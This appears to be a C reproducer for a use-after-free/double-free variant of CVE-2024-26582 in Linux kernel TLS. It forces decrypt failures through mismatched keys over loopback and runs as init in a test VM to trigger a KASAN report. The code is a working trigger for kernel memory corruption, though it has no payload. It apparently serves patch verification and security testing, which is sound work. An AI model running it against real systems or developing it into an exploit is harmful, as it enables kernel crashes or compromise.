/* CVE-2024-26582 VARIANT: failed-backlog-decryption use-after-free (13114dc)
 *
 * Triggers the async-decrypt UAF path that commit 32b55c5 (free_sgout) does NOT
 * cover and that commit 13114dc (async_done, absent in v6.6.18) fixes.
 *
 * Strategy:
 *   - kTLS TLS1.2 AES-128-GCM over loopback, async forced via crypto/simd.c patch.
 *   - TX key (sender) != RX key (receiver) => every record fails AEAD tag check
 *     with -EBADMSG during async decrypt (simulates an attacker-controlled
 *     malformed/corrupt TLS record crossing the network trust boundary).
 *   - recv() with a buffer >= N*RECORD_SIZE => zero-copy full reads (darg.zc=true,
 *     out_iov path => tls_setup_from_iter pins user pages, pages>0, free_sgout=true).
 *   - With the ebusy_force.patch, async decrypts take the -EBUSY backlog path.
 *     A pending (already-submitted) async decrypt fails (-EBADMSG) during the
 *     backlog wait; tls_decrypt_done() frees the ZC pages, then tls_decrypt_sg()'s
 *     exit_free_pages frees them AGAIN => double-free / UAF. KASAN reports it.
 *
 * On a kernel with 32b55c5 but WITHOUT 13114dc (e.g. v6.6.18 + ebusy_force.patch):
 *   => KASAN use-after-free / double-free (BYPASS of the free_sgout fix).
 * On a kernel with 13114dc (async_done): no double-free (exit_free_pages skipped).
 * On the fixed kernel WITHOUT ebusy_force.patch: no -EBUSY => no double-free
 *   (the free_sgout fix holds for the normal async path).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/reboot.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <linux/tls.h>
#include <linux/reboot.h>
#include <arpa/inet.h>
#include <signal.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define SOL_TLS 282
#define RECORD_SIZE 4096
#define N_RECORDS  16
#define RECV_BUF   (N_RECORDS * RECORD_SIZE)

static void fill_crypto_info(struct tls12_crypto_info_aes_gcm_128 *info, unsigned char keyfill)
{
    memset(info, 0, sizeof(*info));
    info->info.version = TLS_1_2_VERSION;
    info->info.cipher_type = TLS_CIPHER_AES_GCM_128;
    memset(info->key, keyfill, TLS_CIPHER_AES_GCM_128_KEY_SIZE);
    memset(info->salt, 0x22, TLS_CIPHER_AES_GCM_128_SALT_SIZE);
    memset(info->iv, 0x33, TLS_CIPHER_AES_GCM_128_IV_SIZE);
    memset(info->rec_seq, 0x00, TLS_CIPHER_AES_GCM_128_REC_SEQ_SIZE);
}

static int setup_loopback(void)
{
    int sock, ret;
    struct ifreq ifr;
    struct sockaddr_in *addr;
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) { perror("socket ioctl"); return -1; }
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
    addr = (struct sockaddr_in *)&ifr.ifr_addr;
    addr->sin_family = AF_INET;
    addr->sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    ret = ioctl(sock, SIOCSIFADDR, &ifr);
    if (ret && errno != EEXIST) { perror("SIOCSIFADDR"); close(sock); return -1; }
    ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
    ret = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (ret) { perror("SIOCSIFFLAGS"); close(sock); return -1; }
    close(sock);
    printf("[variant] Loopback interface configured\n");
    return 0;
}

static int run_variant_test(void)
{
    struct sockaddr_in addr;
    socklen_t len;
    int sfd, fd, cfd, ret, i;
    struct tls12_crypto_info_aes_gcm_128 tx_info, rx_info;
    char *send_buf, *recv_buf;

    printf("[variant] CVE-2024-26582 backlog-decrypt UAF variant (records=%d recsize=%d)\n",
           N_RECORDS, RECORD_SIZE);

    send_buf = malloc(RECORD_SIZE);
    recv_buf = malloc(RECV_BUF);
    if (!send_buf || !recv_buf) { printf("[variant] malloc failed\n"); return -1; }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_port = 0;

    fd  = socket(AF_INET, SOCK_STREAM, 0);
    sfd = socket(AF_INET, SOCK_STREAM, 0);
    ret = bind(sfd, (struct sockaddr *)&addr, sizeof(addr));
    ret |= listen(sfd, 10);
    len = sizeof(addr);
    getsockname(sfd, (struct sockaddr *)&addr, &len);
    connect(fd, (struct sockaddr *)&addr, sizeof(addr));
    cfd = accept(sfd, NULL, NULL);
    close(sfd);
    printf("[variant] TCP connection established\n");

    ret = setsockopt(fd, IPPROTO_TCP, TCP_ULP, "tls", sizeof("tls"));
    ret |= setsockopt(cfd, IPPROTO_TCP, TCP_ULP, "tls", sizeof("tls"));
    if (ret) { printf("[variant] TCP_ULP failed: %s\n", strerror(errno)); return -1; }

    /* TX key on sender = 0x11; RX key on receiver = 0xAA (MISMATCHED) */
    fill_crypto_info(&tx_info, 0x11);
    fill_crypto_info(&rx_info, 0xAA);
    ret = setsockopt(fd, SOL_TLS, TLS_TX, &tx_info, sizeof(tx_info));
    ret |= setsockopt(cfd, SOL_TLS, TLS_RX, &rx_info, sizeof(rx_info));
    if (ret) { printf("[variant] TLS_TX/RX failed: %s\n", strerror(errno)); return -1; }
    printf("[variant] kTLS configured (TX key=0x11, RX key=0xAA mismatch => -EBADMSG)\n");

    /* Send N records from the sender (kernel encrypts with TX key). */
    for (i = 0; i < N_RECORDS; i++) {
        int j;
        for (j = 0; j < RECORD_SIZE; j++) send_buf[j] = (char)((i + j) & 0xff);
        ret = send(fd, send_buf, RECORD_SIZE, 0);
        if (ret != RECORD_SIZE) {
            printf("[variant] send %d failed: %d (%s)\n", i, ret, strerror(errno));
            /* keep going if EAGAIN; else stop sending */
            if (ret < 0 && (errno == EAGAIN || errno == ENOBUFS)) continue;
            break;
        }
    }
    printf("[variant] sent %d records, now recv with ZC full-read buffer=%d\n", i, RECV_BUF);

    /* Single large recv => zero-copy full reads (darg.zc=true), async decrypt.
     * Mismatched keys => -EBADMSG; with ebusy_force.patch the backlog path runs
     * and the double-free (13114dc) is triggered on kernels lacking that fix. */
    ret = recv(cfd, recv_buf, RECV_BUF, MSG_WAITALL);
    printf("[variant] recv returned %d (errno=%d %s)\n", ret, errno,
           ret < 0 ? strerror(errno) : "ok");
    if (ret < 0 && errno == EBADMSG)
        printf("[variant] recv got EBADMSG as expected (decrypt failed via mismatched key)\n");

    printf("[variant] test complete; check kernel log for KASAN double-free/UAF\n");
    free(send_buf); free(recv_buf);
    close(fd); close(cfd);
    return 0;
}

int main(void)
{
    int status; pid_t pid;
    mount("proc", "/proc", "proc", 0, NULL);
    mount("sysfs", "/sys", "sysfs", 0, NULL);
    mount("devtmpfs", "/dev", "devtmpfs", 0, NULL);
    printf("=== CVE-2024-26582 backlog-decrypt UAF variant reproducer ===\n");
    if (setup_loopback() < 0) {
        printf("[variant] Loopback setup failed\n"); sync();
        reboot(LINUX_REBOOT_CMD_POWER_OFF);
    }
    pid = fork();
    if (pid == 0) _exit(run_variant_test());
    else if (pid > 0) waitpid(pid, &status, 0);
    if (WIFSIGNALED(status)) printf("[variant] Child killed by signal %d\n", WTERMSIG(status));
    sync();
    reboot(LINUX_REBOOT_CMD_POWER_OFF);
    return 0;
}
